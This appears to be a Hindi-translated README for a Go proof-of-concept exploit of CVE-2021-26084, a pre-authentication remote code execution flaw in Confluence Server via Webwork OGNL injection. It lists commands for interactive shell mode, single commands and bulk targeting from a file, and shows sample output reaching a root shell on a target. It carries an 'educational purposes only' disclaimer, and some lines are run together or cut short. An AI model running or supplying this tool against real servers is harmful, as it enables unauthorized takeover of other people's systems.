taythebot/cve-2021-26084CVE-2021-26084 - Confluence Server Webwork OGNL इंजेक्शन (प्री-ऑथ RCE)
CVE-2021-26084 के लिए प्रूफ ऑफ कॉन्सेप्ट।
Confluence Server Webwork OGNL इंजेक्शन (Pre-Auth RCE)
यह केवल शैक्षिक उद्देश्यों के लिए है। मैं आपके कार्यों के लिए जिम्मेदार नहीं हूँ। अपने विवेक से उपयोग करें।
पेलोड के कारण, कुछ अक्षरों को पास करना संभव नहीं है। नीचे की सूची मैंने अपने परीक्षण के दौरान पाई है।
"| go run exploit.go -t <target> -i
उदाहरण
root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Made by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye
exit टाइप करेंgo run exploit.go -t <target> -c <command>
go run exploit.go -f <file> -c <command>
go mod download
go build exploit.go